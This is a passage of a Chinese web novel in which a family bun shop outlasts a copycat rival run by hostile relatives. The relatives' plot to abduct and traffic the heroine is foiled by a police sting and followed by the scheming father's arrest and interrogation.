隔壁杨老太家的保姆红梅，因为前两天送过一箱枣茶来，从此就跟赵桂花就聊开了。俩人都是农村人，又都没了丈夫，共同话题可不要太多了。 两三天功夫下来，桂花女士居然还认了个妹妹。都姐妹相称了，猪头肉自然都是直接从林珊家拿的。 杨老太也是个讲究人，吃肉必送东西。 前两天申请的商标下来之后，林珊刚准备给铺子换上新招牌，突然发现对面高中旁边的商铺，挂上了“爱军大肉包”的招牌。 第35章 第35章 爱军大肉包 林爱军因为表现好, 被提前两个月释放了。 得到信儿的林富贵，还没等他正式出来，就叫上老伴儿的二弟刘强两口子, 开始操办开包子铺的事儿。 因为有林兰出谋划策，过程非常顺利, 林爱军一出狱就收到这么一个大礼，心情可想而知。 原本在里头被教育得都快蔫巴了, 这出来一看大名都挂铺子上了，瞬间觉得自己又行了, 走路都开始抬头挺胸了。 看着对面大排长队的“爱国大肉包”, 他暗暗发誓，一定要把她们的生意抢光, 让那娘仨喝西北风, 住茅草屋去！ 林珊认出了对面站着的林爱军, 不用他满脸阴森地怒视自家店，就知道林富贵一家没憋什么好屁。 卖一样的东西, 还照着她家铺子起名, 想干什么傻子都知道。 林珊都有点儿想笑了, 这是干什么？东施效颦啊？不会真以为包子这么好卖吧？ “不要脸的狗东西！”赵桂花站在门口怒骂，“怎么不死里头！老娘卖啥你也卖啥！真是不要脸！缺大德！林富贵这阴魂不散的玩意儿，迟早被人害了扔茅坑里沤粪！” 桂花心说老娘才刚过几天舒坦日子，不要脸的烂货就又来搞事儿！气得她真想冲到对面，把那铺子全都给砸了！不过她现在学会有 事儿问闺女, 不总那么冲动了。 “珊丫头, 这狗东西学咱，会不会抢咱铺子的生意啊？” 林珊倒是很平静，“一开始可能会有想尝鲜的吧, 不过总体来说对咱不会有什么影响。” 因为她就不相信林爱军能把这铺子撑起来。 他们想干过自家店，无非包子更好吃，价格更便宜，服务更好。对于这三点，林珊都表示怀疑。不是看不起林富贵父子，纯粹是因为太了解他们的为人了。 再说了，就算没有他家，也会有别的包子铺，只有在竞争中活下来的企业，才是有韧性的企业。她对自家有信心。 赵桂花虽然心里还是有些担心，但是看见闺女这个态度，也算稍微冷静下来一些。她家包子好吃是出了名的，熟肉更是天天不够卖，她不信林富贵那爷俩会做包子，刘淑芬什么手艺她也是清楚的。 想通这个，赵桂花又安下不少心。 铺子装修好后，林富贵一家开心地庆祝了一番。 林富贵两口子高兴得不行，林爱军也兴奋地表示自己一定会好好干的，只有大儿子林爱民两口子在强颜欢笑。 林爱民对老爹给老二开铺子的事儿，意见不小。他觉得家里实在是太偏心了，老二用钱的时候，二话不说直接五六百块就砸出来了。他前一阵想疏通关系再往上升升，还没张口，老爹就一个劲儿跟他哭穷。什么意思一清二楚。都是一个爹娘，未免太偏心了！ 而且，他压根就不相信老二能把铺子开好！一个街溜子就够了，居然还让小舅舅刘强两口子去帮忙，三个好吃懒做的聚一块儿，能把铺子开成才是太阳打西边出来了。 林爱民不是没把这事儿跟他爹说过，可是人家不信啊，非说爱军已经改好了，现在可勤快了。 得，反正钱也不给他，爱咋的咋的吧。 林爱军确实改了不少，为了铺子能挣钱，他完全按照林兰的话在干活。他买肉买菜买面粉，每天窝在店里和面，做馅儿，学包包子。 刘强夫妻俩虽然是舅舅辈儿的，却只比他大个八、九岁，两口子一直都是游手好闲，全靠父母养活的主儿，现在为了包子铺能开好，竟然也学好了，整天跟林学军一块儿学包包子。 三人精神可嘉，但这种事儿毕竟是个技术活，会做饭的人都要一段时间才能上手，更何况是三个白脖子。 吭哧了一礼拜后，仨人依然学艺不精，做出的包子不是大就是小，不是破皮就是馅儿少，他们自己看了都不想买，更何况是别人了。 林富贵看情况不行，索性直接花钱请了大婶专门来包包子。大婶包子包得又快又好，三个半吊子如释重负，开心地感觉一切都妥了。 结果准备定价的时候，又遇到难题了。面粉贵，菜贵，肉更贵，再加上房租和大婶的工资，按照林兰给他们设的价格，每个包子别说挣了，纯纯倒贴钱！ “对面大肉包才六分钱，咱别说卖五分赔，八分都不算挣！”刘强媳妇儿发愁。 刘强纳闷：“那对面咋挣钱的？肯定有别的道道。”他琢磨了一会儿，“材料钱咱都压到集市上的最低价了，除非买便宜肉和烂菜，不然咋可能那么便宜啊，还是说她们肉放得少，菜给得多？” “听、听说她家肉可不少。”刘强媳妇吃过林珊家的包子，知道里头肉可多了，但她不敢直说，怕林家人气炸。 林爱军肯定地拍桌：“那就没错了！她们肯定用的是便宜肉！这样，我托哥们儿看看上哪儿能弄便宜肉，我就不信干不过林珊！” 林爱军的哥们儿动作很快，很快就找到了肉联厂处理病猪肉的渠道。一问价格比猪肉便宜一大半，林爱军立刻决定大量进货。 原材料搞定，包子定价又比对门便宜一分，味道还不错的“爱军大肉包”，正式开张了。 开业这天林富贵大放炮仗，闹得街坊邻居们都知道这肉包店开业了。 林兰要他们开业前三天，买一送一，林爱军忍着银子哗哗流走的痛照做了。 低价和买一送一的策略果然奏效，开张没多久，店里就来了不少人。林爱军三个是既手忙脚乱，又无比兴奋，招呼起客人来，那叫一个热情。林富贵站在门口看着对面铺子，得意地笑了。 买包子的人少了吧，活该。 这才只是开始，以后有你们哭的时候。 “爱军大肉包”阵仗那么大，隔条小马路的林珊很难不注意到。 林爱军站在门口跟个大喇叭似的，疯狂喊着：“大肉包买一送一咯，开业前三天，大肉包买一送一！” 这种喊话吸引了不少散客，分流了自家店一些买包子的客人，但是从营业额来看影响微乎其微。毕竟现在熟肉颇有干过包子的趋势，又有腐乳肉包这样的爆款。 不过为了知己知彼，下午的时候，她还是让薛凤琴过去把所有馅儿的包子一样买了一个。 结果薛凤琴只带了四个包子回来，“只有两种，大葱猪肉和白菜豆腐的。价格比咱便宜，肉的五分，素的两分。我买两个，还真送了两个。” 林珊拿起包子看了看，包得还行，面发得一般，有股轻微的酸味儿，大小倒是跟自家的差不多。她把包子掰开分到大家手里，所有人一起尝味儿。 薛凤琴：“比我自己在家做得好点儿。” 李娜猛点头：“跟我妈包得一样！” 赵桂花吃的是豆腐的，“跟咱这豆腐包可差远了！” 林红都尝了一遍：“确实不怎么样。” 林珊自己也把素的肉的都尝了一下，结论就是：“他干不长。” 核心产品这么次，手艺只比一般的家庭主妇稍微好上那么一点儿，就想靠卖饭挣钱？吃得东西最是骗不了人的，一回不好吃，下回路过就绕道走。 对面那铺子的挑费肯定不低，包子卖得比她家还便宜，能有多少利润啊。前三天买一送一，倒是挺有现代营销味道的，可惜产品渣，一切就都是空中楼阁。 忙活了一天下来的林爱军三人组，留在铺子里数钱。 虽然累虚脱了，但是心里爽啊，这才一天居然就卖了二十块钱！不过因为买一送一，刨去成本就挣了不到五块钱，但是只要有人买，还愁挣不到钱吗。 三个人高兴坏了，林爱军夜里回家都觉得走路有风，等他干出个样子来，莉莉家还能不同意两人的亲事？ 他哼着小曲回到家，准备迎接第二天的生意。 然而…… 第二天来买包子的客人，比第一天少了足足一半。 等到第三天，又跌到只剩下第二天的一半了。 第四天买一送一结束，一上午居然只卖出去七个包子。 看着对面一笼又一笼的包子出锅，买包子买肉的人大排长龙，他胸口都要气炸了。 为什么啊？！ 他家包子到底差哪儿了！ 凭什么那几个贱人就能卖得这么好，他们家却没人买！凭什么！一定是那贱人使坏！ 生意断崖式暴跌，一天铺子开下来，林爱军还得往里倒贴钱，刘强两口子也唉声叹气的，愁得不知道该咋办了。 林富贵下班过后来查看情况，也跟着两眼一黑，差点晕了。本来买一送一之后，生意比之前差点儿是正常的，但是他没想到竟然差到这个地步！ “会不会是咱家包子没那么好吃啊？”刘强媳妇觉得只能是这个原因了。 林爱军却说：“咱都是按照我妹子说的做的，能不好吃吗？再说了，咱不都尝过吗，比外头的好吃多了。” 刘强媳妇小声嘟囔：“比外头是好吃，但是没有对面好吃啊。对面肉多，还——” “妗子！你吃过她家包子？！”林爱军气得脸红脖子粗，不敢相信自家人居然会光顾对面的生意。 刘强媳妇吓得躲远一点儿，小声解释道：“我家隔壁那天买多了，就给我尝了一个，我没花钱买，真的，爱军你消消气，妗子还能向着外人不成？” 林爱军还是气，林富贵气了会儿后，陷入沉思，看来兰丫头的法子也不全灵，他必须再想个办法搞掉赵桂花那铺子才行。 第36章 第36章 打样完成 对面铺子三天就熄火了, 赵桂花开心地在店里大笑：“活该，以为卖包子容易呢！正道不走，天天想着坏别人好事儿, 这种人能有好下场吗？！” 李娜：“不能！” 全屋人被她这一声吼，和那立正站好的模样给逗笑了。 赵桂花轻拍着李娜的背, 乐道：“好孩子，咱娜娜都看出来对门是大坏蛋了, 他们以后肯定没有好下场，是不是？” 李娜：“是！” 薛凤琴笑着对林珊说：“咱今天包子做得少了, 明天可以多包点儿。” 林珊点点头。为了应对林爱军的低价策略, 她让大家这两天给包子减量来着，今天眼瞅着就不够卖了, 明天肯定要恢复之前的量。 “冰棍儿, 冰棍儿, 卖冰棍儿咯。”门外推着箱子卖冰棍的老汉正好逛到她们门口，林珊赶紧叫住老汉, 买了五根给大家解暑。 这年头的冰棍就真的是冰棍, 糖水加色素一冻, 就是夏天最好的解暑圣品。 李娜高兴坏了，嗦着冰棍对林珊傻笑。 林珊拍拍她的脑袋，让赵桂花回去歇晌了。 这会儿下午两点多钟，买饭的人少，没必要所有人都在店里。而且, 她这么干还有个别的意图, 那就是给林红和王军创造点儿单独相处的时间。 这俩闷疙瘩即使确定了心意，也只知道夜里吃面的时候多看上两眼，因为有赵桂花在, 连话都不敢多说。 林珊就给王军出主意，让他趁着还没调走，下午抽出时间过来跟林红相处一下。她负责把赵桂花支走，王军负责领着她姐去附近的小公园逛逛，四点钟的时候记得回来就行。 王军高兴坏了，林红也羞着脸同意了。 所以赵桂花前脚刚离开，王军就窜出来了。 林珊看他站在门口对林红傻笑，直接把人送过去，“去吧去吧。” 王军摸着后脑勺乐：“诶诶，走、走吧。” 然后，就见这俩人离着一人宽的距离，一块儿朝街口的小公园走去。 林珊和薛凤琴站在门口笑，李娜则还再回味刚才的冰棍儿。 王军和林红来到小公园后，专挑树荫走，怕她热着，他还要去买汽水儿给她。 林红赶紧拦住了，“不、不用了，刚才吃过冰棍儿了。” “啊？……哦。”王军愣了愣，稍一思考，还是买了两瓶，“拿着吧，外头热，别再中暑了。” 林红见他急匆匆就把付钱了，只得把带着水汽的汽水接了过去。 “那、那个，咱们去那儿坐坐？”王军指了指树荫下头的石台。 林红看了一眼，点点头。 石台很宽，俩人中间能再坐一个人，彼此都是笔挺笔挺地端坐着，双腿并拢，手伸开放在上头。知道的是在搞对象，不知道的还以为战士开大会呢。 “那、那个……我的情况，你都知道吧？”王军不自在地开口，让自己说话的时候尽量轻一点，生怕吓到她。 林红不知道他指的情况具体是啥，但是大概知道他的经历，所以轻轻点了点头。 “我大哥二哥都不在家住，家里就我一个。我爹早没了，我妈你们也都熟悉。我工资一个月89块钱，一年有五十斤粮食，三斤食用油，四斤肉。过几天调到市局之后，都还能再涨点儿。我现在有一千两百三十一块的存款，粮食具体剩都少还不清楚，反正够吃了。房子……就是我家那个院子，我住南屋，是个大三间，以后要是人、人多了，可以嗯，可以隔开用。” 王军老老实实报着自己的家底，不知道除了说这个还能说啥。 林红听得面红耳赤，“哦。” 王军想起点儿什么，又说：“我家前年翻新过，不过要、要是你不喜欢，咱、咱再弄就行。” 林红脸蛋更红了，热得不知道说什么好。 王军红着脸摸着后脑勺，决定一鼓作气，“呃，反、反正就是你喜欢怎么样，就怎么样。” 林红汗都出来了，慌乱地拿起旁边的汽水瓶，掩饰内心的紧张。 王军也没好到哪儿去，说完就握住汽水儿，咕咚咕咚灌了两大口。 好在今天有风，给俩人降了降温，再加上一个带孙子的老太太从旁边路过，这一打岔，紧张的气氛一时缓解不少。 林红沉默了好大一会儿后，缓缓地开口：“我、我的情况，你都知道的。” “知道。”再清楚不过了。 林红低着头，害羞得不敢看人，声音还小，“我以后……还是要在铺子里干活的。” “嗯，我知道。”王军点头，有点儿不好意思地说：“以后我下班之后，去店里接你，然后咱、咱再一块儿……回家。” 林红被他的“回家”二字，炸得魂不守舍，整个人烫得快要晕过去了，心脏砰砰砰狂跳，完全不知道该怎么反应。 偷瞄她的王军，也被自己整了个大红脸，害羞会传染，本来就不好意思，再一见她羞成那样，他就更不好意思了。 不过，既然已经到了这一步，他索性直接了当：“那、那个……红红，我、我是真心想跟你处对象的。我知道你现在还有点儿害怕，但是你放心，咱慢慢儿来，我、我会保护你的！” 如果说林红刚才就炸了，这会儿则是彻底不能动弹了，一句“红红”已经让她脸爆红了，更别提后面那些话了。从来没有人这么对待过她，感动、害羞、悸动……各种复杂的情绪涌在胸口，让她默默红了眼眶。 “谢、谢谢你。” 王军摸着后脑勺傻笑，脸早红成了猴屁股，“谢啥，我保护你是应该的。” 林红低下头，掏出口袋里的手绢给他，“擦、擦擦汗吧。” 王军一愣，立刻放下汽水儿瓶，匆匆在裤子上抹了两下手，虔诚地接过手绢。他虽然满头大汗，但是不想弄脏她的手绢，于是低头用制服衣摆抹了把汗，然后看着掌心的手绢傻笑。 林红把他这些举动都看在眼里，既害羞，又有点想笑，抬起头偷偷看他，发现他也正在看自己。 两人顿时一阵惊慌，迅速变成最开始正襟危坐的模样，然后不知道是谁先笑了一下，随即两人就都忍不住笑了。 林红和王军在小公园谈着恋爱，林珊在铺子里写写画画。 下一步她准备开分店。目前资金不用愁，缺的是人才，另外就是需要完成模式化管理。 在复制下一家店前，她需要先把现在的铺子再升级一下，给后来的店打个样。 店规要写下来，赏罚制度要写下来，然后就是晋升渠道。 店内所有人要统一一下着装。现在不如后世定制方便，穿什么她就不要求了，但每人必须在外头加上一条定做的蓝色围裙，帽子人人都要佩戴，食堂那种小白帽子就行。 林珊把这事儿跟赵桂花一说，她立刻把活儿揽过去了。围裙就是两小块布的事儿，帽子也不复杂，无非就是缝几条缝儿而已。对于如今能连西服都快会做的桂花女士来说，这都不叫事儿。 林珊去集市上买了些布，赵桂花花了半天功夫就全做出来了。就连林珊临时要求在围裙上加个红心，她都自己琢磨着用缝纫机给弄出来了。 林珊对成品非常满意，深蓝色的围裙，配上右上角一个小小的红心标志，算是稍微加了点自家的特色吧。她们这个全是妇女的店，也可以勉强称呼一声“红色娘子军”了。 新工作服一发，每个人往身上一套，再加上林珊定制好的，带有“林爱国”标志的新招牌往铺子上一挂。初代店铺已经基本打好样儿了。 虽然只是个围裙和帽子，但是她们统一带上之后，店里的气氛立刻就感觉不一样了，熟客们夸了又夸，说看着国营饭店还正规。 林珊笑着宣传：“为了更好的给大家提供吃的，咱‘爱国大肉包’也得时刻提升素质啊，卫生永远是第一位的额，其次才是味道。” “是是是，在‘爱国’家吃饭就是放心，一看就干净。旁边羊肉馆的桌子都粘人，地上的黑泥更别提了！”一个大叔摇完头，又惊喜道：“而且，这儿还有风扇！这一片儿谁家肯弄风扇啊，别说电扇多少钱了，就电费也交不起啊，只有你家有！” “就是！最关键的是东西还好吃得找不吃第二家！” “是！咋做的这么好啊，我自己也在家调过肉，味儿差远了。” …… 客人毫不吝啬地夸奖着铺子，林珊笑着谦虚了几句，让大家吃好喝好。 现在店内升级搞定，接下来就该招人才了。 自古贤才难得，林珊决定先撒网，实在没有就自己培养。铺子现在有李娜和薛凤琴，即使她不来，也不会影响卖饭。 所以她每天不是满城跑着看行情、找店面，就是面试那些看了招工启事前来面试的才俊。 一个礼拜下来，人才没找到合适的，倒是给她确定了下一个开店的地方。 城南车站旁边有个空店位，前后位置一点不亚于她们现在的铺子，人流量比这块儿大多了，林珊很是心动。 晚上回店里准备跟大家说说，王军突然跑来告诉她说林富贵那边有大动作了。 第37章 第37章 富贵大动作 之前林珊把怀疑林富贵倒买倒卖的事儿, 告诉王军之后，他就负责盯着对方来着。所以她以为王军说的大动作，是倒买倒卖的事儿, 结果没想到是别的。 王军：“林富贵这两天频繁跟一些街溜子接触，其中一个说漏嘴把事儿捅了出来, 林富贵这回可不是单纯想搞坏铺子这么简单，他找的人有点黑背景, 说是要把你拐去卖了。” “卖我？”林珊无语，动不动就犯这么大的法, 完全就是反派的脑回路好吧。 “嗯, 他应该挺恨你的。”王军有些话没说，林富贵交代的可不是卖了这么简单, 他要求先把林珊那什么之后再卖, 还让卖到偏远山沟沟里去, 专挑那种好几个兄弟都没钱娶媳妇儿的人家。不过这话王军不忍心说，林珊就跟他亲妹子似的, 更何况现在多有了林红这层关系, 他就更不可能说出来让她害怕了。 林珊不用他说, 也知道卖人意味着什么，“这事儿先别让我妈跟我姐知道，我怕她们担心。” 王军：“嗯。” 林珊想了想，问他：“林富贵倒买倒卖的事儿怎么样了？” 王军：“他那大舅子已经跑过两趟车了，除了跟厂子上报的路程, 他每回都会多跑四个地方。我查了一下, 有三个地方是为了给南方一些私人的小厂子供货，还有一个地方应该是他买走私货的渠道，第一次捎回来两箱烟酒。第二次, 就成了七箱。烟酒的销路很分散，都是一些有执照的门店，暂时不好动，不过倒是通过这个把他维系的那些关系给挖出来了。这事儿要是现在收网，恐怕只能判个八、九年。” 林珊心想八、九年可不够，“军哥，他不是要卖我吗？咱来个钓鱼执法怎么样？” “钓鱼执法？” “我当饵啊，故意给他制造机会，然后你带着人把他们一网打尽。听说最近又要开始新一轮儿社会犯罪的严打了，八、九年太便宜林富贵了，他这种畜生只要还喘气儿就不会老实，必须彻底按死。” 王军本来的打算是让林珊小心些，然后他派人偷偷保护她，等林富贵那帮人一旦现行，他立刻抓人。听上去跟她这个“钓鱼执法”没啥区别，但是细细想起来却似乎完全不是一回事儿。 一个像是被动等着，一个是主动出击。而且，她居然连最近要严打都知道。 王军一直都知道她聪明机灵，不过这会儿还是有些意外，他想了想，“这样，我回去跟领导汇报一下案情，然后安排一下人。你这两天千万不要落单，尽量不要出去，我最迟后天一早安排到位。” 林珊点点头：“好，我听军哥的。” 这头林珊得到了信儿，那头林富贵也在积极筹划自己的大动作。林兰要求的那些低调挣钱，有事儿要跟她商量，不要轻举妄动，全部被他抛在了脑后。 原本他也以为自家开了铺子，搞垮那娘仨，暗地里的生意一过明面，往后的日子就好过了。结果完全不是那么回事儿！ 铺子完全是按着兰丫头说得做的，从找铺子到装修，再到做饭和售卖，就没有一点是不听她的。结果怎么样？包子铺每天都在亏钱，先不提什么暗门生意过明面上了，就是现在背地里挣的那些钱，恐怕都不够天天往这个窟窿里堵填的了。 房租一下就交了一年，装修也搞了，米面肉菜也都弄来了，最关键的是街坊邻居他都知道开始干了，现在让他收掉不做，根本就不可能。老脸挂不住，也不甘心！ 尤其天天看着对面生意那么红火，买饭的人乌央乌央的，他恨得牙都咬碎了，就差冲过去当众骂街了。最可气的是那个小贱人这两天还换了个新招牌，把林爱国那死崽子的脸摆那么高，天天阴魂不散地盯着他们，这明显就是在咒他！ 林富贵恨不得把那娘仨撕着吃了，他对着老天发毒誓，这次要是不林老二家的这些娘们搞死，他出门就被大东风撞死！ 已经气到“不是你死就是我亡”的程度了，林富贵下得肯定就是死手。 他要找人先把对面那个罪魁祸首林珊，轮番玩儿了，然后再卖到山沟沟里给全村人当老婆去。剩下那母女俩，他准备事成之后，随便找个老汉把她们一块儿都糟蹋了，赵桂花那个必须再狠狠地暴打一顿，但是得留口气，他必须让那老娘们儿活着，睁大眼看着他家怎么风光，怎么厉害！ 计划好一切，林富贵就找上了这片混得好的三哥，花了两百块请他找人把事儿办好。这年头拐个人容易得很，三哥接了活儿后，直接吩咐小弟去办了。 小弟虎子和大牛盯了一天梢，兴奋地回来报信儿：“哥，那小娘们儿长得可带劲了！到时候哥你玩儿完之后，可别忘了叫咱兄弟们都享享福啊！” 三哥对女人很感兴趣：“哦？有多带劲？” 虎子摸着下巴回味：“那胸脯鼓得老高了，小腰一只手就能掐住，人还长得白白嫩嫩的，眼睛往这儿一瞟，我腿都直哆嗦。” 三哥哈哈大笑：“呸，看你那点儿出戏！” 大牛也擦擦口水：“真的哥，可好看了，看了绝对走不动道儿。你说……她长这么好看，卖到山沟里会不会可惜了点儿？” “嗯，确实有点儿可惜。”虎子非常同意。 三哥无所谓地笑笑：“真这么好，咱就自己留着。有没有把人卖了，还不是咱一句话的事儿么，林富贵上哪儿知道去？再说了，就算他知道了又能怎么样？敢吱声儿吗？” 虎子：“哈哈哈就是！三哥说得对！谅那老小子也没胆子吱声！” 大牛：“就是！三哥威武！” 其他小弟：“威武！” 三哥受了会儿小弟们的奉承，问虎子：“别光顾着看人，盯出东西了吗？” 虎子：“盯出来了，那小娘们儿一天去了两趟隔壁街的粮油铺子买面，走的都是小路。咱只要藏在小路里头，等她一过来直接把人掳走就行。” 三哥想了想，“明天再盯一天。” “行，放心吧您就。” 虎子和大牛又盯了一天梢之后，确定林珊下午三点钟的时候，会走小路去粮油铺子买面和油，于是次日同一个时间，两人又叫上一个兄弟，躲在小路里等着猎物过来。 林珊按照跟王军约定好的时间，再次抄小路走去粮油铺，她若无其事踏进路口，手不着痕迹地插进裤子口袋，握住里头剪刀。 这两天钓鱼的时候，她已经摸清对 方会在哪儿出没了，果然，前脚刚踩到点儿，拐弯处一下就蹦出三个大汉，把她团团围住。 林珊立刻作出惊恐的表情，“干什么！” “干什么？”虎子坏笑着靠近，一边伸手一边作势就要扑过来。 大牛也嘿嘿笑着往前扑，嘴里还不忘调戏道：“美人儿先别叫，待会儿有你叫的时候。” 身后那个虽然没说话，却也在往前上。 林珊被这些流氓身上的汗臭气熏得想吐，她一边尖叫发出信号，一边拿出剪刀朝三人扎过去。 冷不丁挨了一下虎的子，倒抽口气骂人：“妈的臭娘们敢划老子！别给脸不要脸啊！” 大牛“嘶哈”一声，“小贱货居然还有家伙式儿！娘的！干！”他还没说完就朝林珊猛扑过去，其他来两人比他只快不慢。 林珊猛挥剪刀防御，就在三人快抓住她的时候，就听一声声“不许动！”从房顶、路口，以及路旁的一户人家齐齐发出，一时间响彻小路。 王军带人迅速冲过来，把还在懵圈的三个流氓掀翻按倒，跟着他把林珊护到一旁，然后一脚一脚狠狠踹在那三人身上，“全部带走！通知其他两队立刻收网！” “是！” 整个抓捕过程不到两分钟，连闻声出来看热闹的街坊们，都没弄明白怎么回事，幽静的小路就又恢复平静了。 王军为了稳妥，本来准备更早出来抓人的。是林珊想彻底逮个现行，才跟他商量好硬拖了一会儿。那声“尖叫”是准备信号，听到这个之后，王军安排的人会离开掩护，目视那三个歹徒行凶，然后再最关键的时候出击抓捕。 这样抓回局子里，就算暂时不使用“大记忆恢复术”，他们也狡辩不了什么。 为了保护林珊，王军和同事单独给她了口供，并没有让她看见被另外两队人马，压着过来的林富贵和胡老三。 进局子对胡老三来说是家常便饭，他心里只觉得倒霉，手下那些吃干饭的也太废物了，等回去之后可得好好收拾他们一下了。 他不慌，林富贵却是头一遭被抓进局子。 被提溜进来的时候，他腿都软了，要两个公安同志扶着，才把他弄到椅子上。 两张木头桌一并，两位严肃的公安同志往那儿一坐，被结结实实按在椅子上的林富贵，瞬间就吓得都快尿裤子了。他双手被反铐着，双腿直哆嗦。 “同、同同志，我我我是良民啊，我我我我、我没犯事儿，没犯事儿啊。” “啪！”岁数大点儿的那个同志猛得一拍桌子，瞪眼呵斥：“问你话了么就乱叫！老实呆着把嘴闭上！” “好、好好好好。” “还说！” 林富贵迅速把嘴紧紧地抿住，死命逼自己冷静，冷静，一定要冷静。没事儿，没事儿，空口无凭，不管他们说啥，打死了也不能认！ 第38章 第38章 审讯富贵 林兰正春风得意, 周末的时候，贺启明请她去老莫餐厅吃饭。 正宗俄式风味，听说有些头脸的人都爱来这里吃。 面前的罗宋汤她喝着味道真是不错, 面包也挺香的，正要尝一下烤出来的牛肉块, 右眼皮突然突突突突跳个不停。 林兰本身就有点儿迷信，眼皮这么狂跳, 立刻让她心里一紧，害怕是不是出什么事儿了。 她自己好好的, 杨清明也老老实实的, 虽然她现在还不敢跟他说自己跟贺启明好了，怕时间太快惹得他发疯, 但是基本局面是稳定的。 难道是家里出事儿了？铺子不是已经开了吗？二哥也出来了, 没再天天出去惹事儿, 老爹那边也挺顺利，暗地里的生意也挺好的。难道……是倒买倒卖被发现了？！ 她开始胡思乱想, 面对贺启明的夸夸其谈, 心不在焉起来。 “怎么了这是？”贺启明挥挥手, 示意她专心点儿。 林兰不好意思地笑笑，满脸担忧：“启明，我右眼一直跳，有点担心是不是家里出事了，我想打个电话回去。” 贺启明还以为什么呢, 不以为意地说：“你这么迷信呢, 看来破四旧的教育接受得还是不够啊。” 林兰不吭气，讨厌他这种自以为是的模样。 贺启明见她拉下脸子来了，立刻笑着赔不是：“对不起, 我忘了咱们小兰心地善良，对家里人好，担心家里。这样吧，我跟老板说说，你借用一下电话打回去问问？” 这还差不多，林兰心情稍微舒服了点儿，点点头，嘴上还是不忘娇嗔：“以后不许这么说我，担心家人哪里不对了，我要是那种不管不顾特别狠心的人，之前就不会去医院照顾你啦。” 贺启明被她嗔得浑身舒服，想起自己在医院的时候，林兰跑前跑后，对他无微不至的关心和照顾，人立刻温柔起来，“你说得对，是我说错话了，走，咱这就打电话去。” 餐厅的电话在柜台，林兰站在一侧播着林富贵办公室的电话，那头一声一声没人接。虽然是星期天，但是厂里有值班的人，肯定不会任由电话响个不停的。 果然，又响了两声后，一个老头气喘吁吁地接通电话。 “诶，安、安河市棉纺织厂，谁、谁啊？” “大爷您好，我是林富贵的闺女，我想问一下我家这会儿有人在厂里吗？”她大哥在车间，工作不能停，所以不是按星期日休息的，极有可能在厂里。 谁知那头的大爷一听她这么问，立刻喊了连起来：“诶呦喂！闺女啊！出大事儿了！出大事儿了！你爸让公安给抓走了！！！” 林兰心里咯噔一下，“确定是我爸吗？！” “诶，可不是么！你是林富贵他闺女吧？他今天下午让人给抓局子里去了！厂里刚刚知道！” 林兰努力克制着自己的情绪，问他：“是、是因为什么，您知道吗？” 那头重重叹气：“流氓罪！听说他要害人家小姑娘，结果被公安当场抓了个正着！具体咋回事现在厂里还不清楚，但是估计轻不了啊。闺女，你，唉……” 林兰耳鸣太晕，居然是流氓罪？！没有因为倒买倒卖进去，反而是因为流氓罪？不用想也知道她爹又擅自做主去找林珊的事儿了！怎么能这么蠢呢！！！为什么！！！ 林兰气得差点吐血，脸色煞白，一副要倒下去的模样。 一旁的贺启明吓得赶紧扶住他，小声询问：“怎么了这是？” 林兰正要开口，电话那头突然又传来声音：“孩子，你是不是在首都上大学啊？你家要是有门儿，赶紧给你爹找找吧，我听说最近正好严打，闹不好你爸连命都要搭进去了！” 林兰两眼一黑，彻底晕了。 “林兰！林兰！”贺启明手忙脚乱，再顾不得自己潇洒的身形了。 正在等着接受审讯的林富贵，心急如焚。公安同志板着脸问了一下他的姓名和年龄之后，居然就把他晾这儿不管了。整个小屋就留下林富贵一个人，急得他活脱脱一副热锅上的蚂蚁。 人最怕的就是未知。他忍不住想为什么不问我呢？难道胡老三招了？冷静，没事儿，他招了我也不认。只要咬死不承认，天王老子来了也办不了我！ 胡老三招之前，他那三个兄弟已经招了。反正被抓了个人赃并获，狡辩也没用。还不如说是被人指使的，兴许还能轻判点儿呢。 不过三人倒还挺讲义气，一口咬定是林富贵找得他们，跟胡老三没关系。 直到“大记忆恢复术”上了两轮，虎子和大牛之外的那个小子，才承认林富贵找得人是胡老三。 胡老三倒是比他们都痛快，直接说：“林富贵找我是想把人家小姑娘害了，然后再卖到山里头。我呢，确实也收钱了，不过我可没打算真这么干，犯法儿的事，咱可不能做。我叫我那几个兄弟出去，其实就是想把姑娘请回来聊会儿天、说说话，把林富贵要害她的事儿告诉她，让她多留个心眼儿，结果你看，谁能想到手下人办事这么不利，竟然还让你们给误会了。” 王军笑了，“挺能说啊，倒是也能圆过去。可惜你那几个小弟已经招了，连你们打算绑了人家小姑娘之后去哪儿犯罪，都交代得清清楚楚。我都不知道你二舅姥爷，在河边还有个小破屋呢。” “呲，我以为什么呢。”胡老三不屑地哼声，“他们仨合伙儿害我呢。” 王军心平气和：“扯这些没用，胡老三。我知道你小姨夫官儿不小，但这次跟以前不一样，事儿大小咱先不论，最近又开始严打了你知道不？上头说要拿你这案子做个典型的事儿，有人通知你不？” 胡老三脸色骤变。 王军又补了一刀：“哦，忘了跟你说了，你小姨夫刚刚被纪委的人带走了。” 胡老三如遭晴天霹雳，顿时瘫坐在椅子上，二郎腿也不翘了，满脸的不屑也不见了，取而代之的是无限的恐惧。他有多少事儿，自己心里清楚。靠山一倒，他势必也要跟着完蛋。 正式审讯林富贵的时间，是凌晨两点半。 他正坐在椅子上打盹，被公安同志一个拍桌给吓得差点儿秃噜下去。 “公公公安同志，我是冤枉的！”惊醒的林富贵，瞬间记起了说辞。 “还没审就喊冤，怎么的？不相信我们啊？” “不不不，相信相信相信！”林富贵调整好姿势，努力让自己镇定镇定。一个人呆了这么久，他早想好了全部的说辞，不等公安同志开口，就迫不及待地要往外秃噜了。 “问你话了吗！老实点儿！问一句答一句！”岁数大的那位同志一阵训斥。 林富贵立刻老老实实，不敢再多一句嘴。 他编的故事很简单，我没有，我不认识胡老三，我也不知道他为什么要害我，可能是因为我家开铺子他给我要保护费，我没给吧。总之，我是单纯的小白兔，什么都不知道。 老同志都气笑了，“想半宿就编出这么一个理由？” 年轻点的同志说：“胡老三和他那几个小弟已经招了，从你找他开始，到你们俩讨价还价定下200块钱，再到你要求必须对人家小姑娘先强后卖的行为，说得一清二楚。你可以继续狡辩，硬咬着那两句话不放，就算你啥都不说，审判长判你也已经够够的了。” 林富贵急得眼圈都红了，猛摇头：“不是的！不是的！同志，我真是被冤枉的！我没有狡辩啊！” 老同志骂了一声，呵斥他：“林富贵！你还不老实！你找胡老三的时候，他家门口的聋子都看见了！他屋里那七八个兄弟也都看见了！你还在这儿给我装！我看不给你点儿颜色看看，你是不知道天多高地多厚了！” “同志！同志！同志！我真的是冤枉的！！！真的是冤枉的！！！冤枉啊！！！”林富贵吓得大吼大叫，双腿发软，裤子又快要湿了，但嘴上仍然不忘坚称自己是被冤枉的。 